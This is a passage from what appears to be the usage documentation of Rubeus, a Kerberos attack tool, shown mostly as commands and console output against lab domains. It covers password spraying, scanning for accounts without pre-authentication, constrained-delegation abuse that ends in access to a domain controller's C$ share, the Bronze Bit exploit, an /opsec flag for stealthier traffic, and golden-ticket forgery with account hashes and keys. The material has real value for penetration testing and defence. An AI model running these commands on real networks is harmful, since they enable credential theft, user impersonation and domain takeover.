RenewTill : 26/07/2021 23:00:38
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Qm9zdwFIINSHAAmqaviuEw==
ASREP (key) : CC9D16AB01D1BD0EF9EBD53C8AD536D9
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 22:59:21
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 7
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
ClientName :
Client Id : 19/07/2021 23:00:38
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : harmj0y@rubeus.ghostpack.local
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : ADEC4A1A7DF70D0A61047E510E778454 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 6CF688E02147BEEC168E0125 (UNVALIDATED)
**Note The `/asrepkey` from the TGT retrival must be passed to decrypted the CredentialData section where the NTLM hash is stored but the `/servicekey` argument is not required here as the session key from the TGT is being used because it is a user-to-user request.
Requesting a service ticket using the current logged on session:
```
Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072
[*] base64(ticket.kirbi):
doIGvDCCBrigAwIBBaEDAg(..snip..)
ServiceName : LDAP/dc.ghostpack.local
ServiceRealm : GHOSTPACK.LOCAL
UserName : CCob (NT_PRINCIPAL)
UserRealm : GHOSTPACK.LOCAL
StartTime : 25/02/2025 09:08:11
EndTime : 25/02/2025 18:48:39
RenewTill : 03/03/2025 12:47:40
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : k2xUOHFN1Xg(...snip...)
```
Requesting local computer account TGT via renewal. Requires local administrator access. If credential guard is present, ticket use will not be possible away from the host.
```
Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184
[*] base64(ticket.kirbi):
doIGuTCCBrWg(...snip...)IFhb3MuZGV2
ServiceName : krbtgt/ghostpack.local
ServiceRealm : GHOSTPACK.LOCAL
UserName : DC$ (NT_PRINCIPAL)
UserRealm : GHOSTPACK.LOCAL
StartTime : 25/02/2025 09:18:37
EndTime : 25/02/2025 11:35:10
RenewTill : 02/03/2025 10:35:06
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : k2xUOHFN1Xg(...snip...)
```
### renew
The **renew** action will build/parse a raw TGS-REQ/TGS-REP TGT renewal exchange using the specified `/ticket:X` supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a `/dc` is not specified, the computer's current domain controller is extracted and used as the destination for the renewal traffic. The `/ptt` flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session.
Note that TGTs MUST be renewed before their EndTime, within the RenewTill window.
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
The `/autorenew` flag will take an existing `/ticket:X` .kirbi file/blob, sleep until endTime-30 minutes, auto-renew the ticket and display the refreshed ticket blob. It will continue this renewal process until the allowable renew-till renewal window passes.
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Auto-Renew TGT
[*] User : dfm.a@TESTLAB.LOCAL
[*] endtime : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for dfm.a@TESTLAB.LOCAL
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
### brute
The **brute** action will perform a Kerberos-based password bruteforcing or password spraying attack. **spray** can also be used as the action name.
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):
doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...
### preauthscan
The **preauthscan** action will send AS-REQ's for all usernames passed into the `/users` argument to discover accounts that do not require Kerberos pre-authentication.
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication
[*] cclark: Pre-Auth Required
[*] jjones: Pre-Auth Not Required
[*] rwilliams: Pre-Auth Required
[*] svc_sqlserver: Pre-Auth Required
[*] pgreen: Pre-Auth Required
[*] jsmith: Pre-Auth Required
[*] tnahum: Pre-Auth Required
[*] sfederovsky: Pre-Auth Required
## Constrained delegation abuse
Breakdown of the constrained delegation commands:
| Command | Description |
| ----------- | ----------- |
| [s4u](#s4u) | Perform S4U2self and S4U2proxy actions |
### s4u
The **s4u** action is nearly identical to [Kekeo](https://github.com/gentilkiwi/kekeo/)'s **tgs::s4u** functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field) this action can be used to abuse access to the target SPN/server. Constrained delegation is complex. For more information see [this post](http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/) or Elad Shamir's ["Wagging the Dog"](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) post.
A **TL;DR** explanation is that an account with constrained delegation enabled is allowed to request tickets _to itself_ as any user, in a process known as S4U2self. In order for an account to be allowed to do this, it has to have **TrustedToAuthForDelegation** enabled in it's useraccountcontrol property, something that only elevated users can modify by default. This ticket has the **FORWARDABLE** flag set by default. The service can then use this specially requested ticket to request a service ticket to any service principal name (SPN) specified in the account's **msds-allowedtodelegateto** field. So long story short, if you have control of an account with **TrustedToAuthForDelegation** set and a value in **msds-allowedtodelegateto**, you can pretend to be any user in the domain to the SPNs set in the account's **msds-allowedtodelegateto** field.
This "control" can be the hash of the account (`/rc4` or `/aes256`), or an existing TGT (`/ticket:X`) for the account with a **msds-allowedtodelegateto** value set. If a `/user` and rc4/aes256 hash is supplied, the **s4u** module performs an [asktgt](#asktgt) action first, using the returned ticket for the steps following. If a TGT `/ticket:X` is supplied, that TGT is used instead.
If an account hash is supplied, the `/nopac` switch can be used to request the initial TGT without a PAC.
Using a KDC proxy ([MS-KKDCP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kkdcp/5bcebb8d-b747-4ee5-9453-428aec1c5c38)) to make the requests is possible using the `/proxyurl:URL` argument. The full URL for the KDC proxy is required, eg. https://kdcproxy.exmaple.com/kdcproxy. When used for the `s4u` command, *all* requests will be sent through the proxy.
A `/impersonateuser:X` parameter **MUST** be supplied to the **s4u** module. If nothing else is supplied, just the S4U2self process is executed, returning a forwardable ticket:
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...
That forwardable ticket can then be used as a `/tgs:Y` parameter (base64 blob or .kirbi file) to execute the S4U2proxy process. A valid **msds-allowedtodelegateto** value for the account must be supplied (`/msdsspn:X`). Say the **patsy@testlab.local** account looks like this:
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local
Then the S4U2proxy abuse function (using the ticket from the previous S4U2self process) would be:
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: S4U
[*] Loaded a TGS for TESTLAB.LOCAL\dfm.a@TESTLAB.LOCAL
[*] Impersonating user 'dfm.a@TESTLAB.LOCAL' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
Where `/ticket:X` is the TGT returned in the first step, and `/tgs` is the S4U2self ticket. Injecting the resulting ticket (manually with [Rubeus.exe ptt /ticket:X](#ptt) or by supplying the `/ptt` flag to the **s4u** command) will allow you access the **ldap** service on primary.testlab.local _as if you are dfm.a_.
The `/altservice` parameter takes advantage of [Alberto Solino](https://twitter.com/agsolino)'s great discovery about [how the service name (sname) is not protected in the KRB-CRED file](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more), only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file. One or more alternate service names can be supplied, comma separated (`/altservice:cifs,HOST,...`).
Let's expand on the previous example, forging access to the filesystem on **primary.testlab.local** by abusing its constrained delegation configuration and the alternate service substitution. Let's package it all into one step as well, performing a TGT request, S4U2self process, S4U2proxy execution, and injection of the final ticket:
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
Directory of \\primary.testlab.local\C$
07/05/2018 12:57 PM dumps
03/05/2017 04:36 PM inetpub
08/22/2013 07:52 AM PerfLogs
04/15/2017 05:25 PM profiles
08/28/2018 11:51 AM Program Files
08/28/2018 11:51 AM Program Files (x86)
10/09/2018 12:04 PM Temp
08/23/2018 03:52 PM Users
10/25/2018 01:15 PM Windows
1 File(s) 9 bytes
9 Dir(s) 40,511,676,416 bytes free
By default, several differences exists between the S4U2Self and S4U2Proxy TGS-REQ's generated by Rubeus and genuine requests. To form the TGS-REQ's more inline with genuine requests, the `/opsec` flag can be used. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than `aes256` and will just throw a warning and exit if another encryption type is used. To allow for other encryption types to be used with the `/opsec` changes, the `/force` flag exists. The `/opsec` flag has not yet been implemented for cross domain S4U.
The *Bronze Bit* exploit (CVE-2020-17049) is implemented using the `/bronzebit` flag. Adding this flag will automatically flip the *forwardable* flag when retreiving the S4U2Self ticket. As flipping this flag requires the service ticket to be decrypted and reencrypted, the long term key (service account's password hash) is required. For this reason, if a TGT is being supplied, the service accounts credentials are also required for this to work.
It is possible, in certain cirsumstances, to use an S4U2Self ticket to impersonate protected users in order to escalate privileges on the requesting system, as discussed [here](https://exploit.ph/revisiting-delegate-2-thyself.html). For this purpose, the `/self` flag and `/altservice:X` argument can be used to generate a usable service ticket.
To forge an S4U2Self referral, only the trust key is required. By using the `/targetdomain:X` argument with the `/self` flag and without the `/targetdc` argument, Rubeus will treat the ticket supplied with `/ticket:X` as an S4U2Self referral and only request the final S4U2Self service ticket. The `/altservice:X` can also be used to rewrite the sname in the resulting ticket:
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: S4U
[*] Action: S4U
[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for external.admin@external.zeroday.lab from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):
doIFETCCBQ...RheS5sYWI=
## Ticket Forgery
Breakdown of the ticket forgery commands:
| Command | Description |
| ----------- | ----------- |
| [golden](#golden) | Forge an ticket granting ticket (TGT) |
| [silver](#silver) | Forge a service ticket, can also forge TGTs |
| [diamond](#diamond) | Forge a diamond ticket |
There are many similarities between the `golden` and `silver` commands, the reason for them being separate is to simplfy the `golden` command. Service tickets can be much more complex than TGTs with different keys and extra sections, while TGTs can be forged with the `silver` command, `golden` provides fewer potential arguments as the features not relevent to TGTs are not present.
Most of the arguments for both of these commands are to set PAC fields and should be reasonably self explanitory. These are:
| Argument | Description |
|----------|-------------|
| /user | Used as the user to query details for if `/ldap` is passed but also is used to set the EffectiveName field in the PAC and the cname field in the EncTicketPart |
| /dc | Specifies the domain controller used for the LDAP query if `/ldap` is passed but also used to set the LogonServer field in the PAC |
| /netbios | Sets the LogonDomainName field in the PAC |
| /sid | Sets the LogonDomainId field in the PAC |
| /id | Sets the UserId field in the PAC (Default: 500) |
| /displayname | Sets the FullName field in the PAC |
| /logoncount | Sets the LogonCount field in the PAC (Default: 0) |
| /badpwdcount | Sets the BadPasswordCount field in the PAC (Default: 0) |
| /uac | Sets the UAC field in the PAC (Default: NORMAL_ACCOUNT) |
| /pgid | Sets the PrimaryGroupId field in the PAC and is also added to the `/groups` field (Default: 513) |
| /groups | Comma separated. Sets the Groups field in the PAC, also has the `/pgid` added to it. The total is also used to calculate the GroupCount field (Default: 520,512,513,519,518) |
| /homedir | Sets the HomeDirectory field in the PAC |
| /homedrive | Sets the HomeDirectoryDrive field in the PAC |
| /profilepath | Sets the ProfilePath field in the PAC |
| /scriptpath | Sets the LogonScript field in the PAC |
| /logofftime | Sets the LogoffTime field in the PAC. In local time format - Is converted to UTC automatically |
| /lastlogon | Sets the LogonTime field in the PAC. In local time format - Is converted to UTC automatically (Default: starttime - 1 second) |
| /passlastset | Sets the PasswordLastSet field in the PAC. In local time format - Is converted to UTC automatically |
| /minpassage | Sets the PasswordCanChange field in the PAC. This is relative to PasswordLastSet, in number of days, so '5' for 5 days |
| /maxpassage | Sets the PasswordMustChange field in the PAC. This is relative to PasswordLastSet, in number of days, so '5' for 5 days |
| /sids | Comma separated. Sets the ExtraSIDs field in the PAC. It is also used to calculate the ExtraSIDCount field |
| /resourcegroupsid | Sets the ResourceGroupSid field in the PAC. If used, `/resourcegroups` is also required |
| /resourcegroups | Comma separated. Sets the ResourceGroups field in the PAC. It is also used to calculate the ResourceGroupCount field. If used, `/resourcegroupsid` is also required |
Other arguments common to both commands but to set fields outside of the PAC are:
| Argument | Description |
|----------|-------------|
| /authtime | Sets the authtime field in the EncTicketPart. In local time format - Is converted to UTC automatically (Default: now) |
| /starttime | Sets the starttime field in the EncTicketPart. In local time format - Is converted to UTC automatically (Default: now) |
| /endtime | Sets the endtime field in the EncTicketPart. This is relative to starttime, in the format of multiplier plus timerange, so for 5 days, 5d. More information on this format explained below (Default: 10h) |
| /renewtill | Sets the renew-till field in the EncTicketPart. This is relative to starttime, in the format of multiplier plus timerange, so for 5 days, 5d. More information on this format explained below (Default: 7d) |
| /rangeend | This is for creating multiple tickets that start at different times. This will be the last starttime, relative to `/starttime`, in the format of multiplier plus timerange, so for 5 days, 5d. More information on this format explained below |
| /rangeinterval | This is for creating multiple tickets that starts are different times. This is the interval that will be used between each starttime, in the format of multiplier plus timerange, so for 5 days, 5d. More information on this format explained below |
| /flags | Sets the ticket flags within the EncTicketPart (Default: forwardable,renewable,pre_authent and for `golden` also initial) |
| /extendedupndns | Includes the new extended UpnDns (which includes the samaccountname and account SID) |
For the relative times described in the tables above, the format is an integer used as a multiplier followed by a single character which acts as a timerange. The meaning of each supported character is shown in the table below (**These are case sensitive**):
| Character | Description |
|-----------|-------------|
| m | Minutes |
| h | Hours |
| d | Days |
| M | Months |
| y | Years |
The other common feature used by both commands is LDAP information retrieval. Both `golden` and `silver` support retrieving information over LDAP using the `/ldap` flag. The `/ldap` flag can be used with the `/creduser` and `credpassword` arguments to authenticate as an alternative user when retrieving this information. The inforamtion is retrieved by sending 3 LDAP queries and mounting the SYSVOL share of a domain controller (for reading the Domain policy file) if no other information is passed. LDAP queries will automatically be sent over TLS and fail back to plaintext LDAP if it fails.
The first LDAP query, which will always be sent if `ldap` is passed, queries for the user specified in `/user`, and retreives most of the users information required for the PAC.
The second LDAP query will be sent if `/groups`, `/pgid`, `/minpassage` **OR** `/maxpassage` are not given on the command line, any of these arguments given on the command line will avoid querying LDAP for the information. This query retrieves the groups that the user is a member of, including the primary group, along with the domain policy object (used to get the path to the policy file). If `/minpassage` or `/maxpassage` is not provided on the command line and the domain policy object is retrieved from LDAP, the SYSVOL share of a DC is mounted and the policy file is parsed to get the MinimumPasswordAge (to set the proper value for the PasswordCanChange field in the PAC) and the MaximumPasswordAge (to set the proper value for the PasswordMustChange field in the PAC) values.
Lastly, if the `/netbios` argument is not given on the command line, an LDAP query for the proper netbios name of the domain is made from the *Configuration* container in order to set the LogonDomainName field in the PAC. If the `/ldap` flag is not given on the command line and the `/netbios` argument also is not given, the first element (before the first period '.') is uppercased and used instead.
The `/printcmd` flag can be used to print the arguments required to generate another ticket containing the same PAC information used to generate the current ticket. This will **not** print arguments related to the times the ticket is valid for as those are likely required to be different for any future tickets you want to forge.
### golden
The **golden** action will forge a TGT for the user `/user:X` encrypting the ticket with the hash passed with `/des:X`, `/rc4:X`, `/aes128:X` or `/aes256:X` and using the same key to create the ServerChecksum and KDCChecksum. The various arguments to set fields manually are described above or the `/ldap` flag can be used to automatically retrieve the information from the domain controller.
The `/oldpac` switch can be used to exclude the new *Requestor* and *Attributes* PAC_INFO_BUFFERs, added in response to CVE-2021-42287.
The `/extendedupndns` switch will include the new extended UpnDns elements. This involved adding _2_ to the Flags, as well as containing the samaccountname and account SID.
The `/rodcNumber:x` parameter was added to perform kerberos [Key List Requests](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/732211ae-4891-40d3-b2b6-85ebd6f5ffff). The value of this parameter is the number specified after krbtgt_x the `msDS-KrbTgtLink` attribute of the read-only domain controller, eg. krbtgt_12345 would be 12345. This request requires certain flags which can be set using `/flags:forwardable,renewable,enc_pa_rep`. The key (`/des:X`, `/rc4:X`, `/aes128:X` or `/aes256:X`) used to encrypt is the KRBTGT_x accounts key. Further information can be found on Elad Shamir's blog post [here](https://posts.specterops.io/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc-ef5f1799ca06),
Forging a TGT using the `/ldap` flag to retrieve the information and the `/printcmd` flag to print a command to forge another ticket with the same PAC information:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local'
[*] AuthTime : 29/07/2021 00:12:40
[*] StartTime : 29/07/2021 00:12:40
[*] EndTime : 29/07/2021 10:12:40
[*] RenewTill : 05/08/2021 00:12:40
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Printing a command to recreate a ticket containing the information used within this ticket
C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /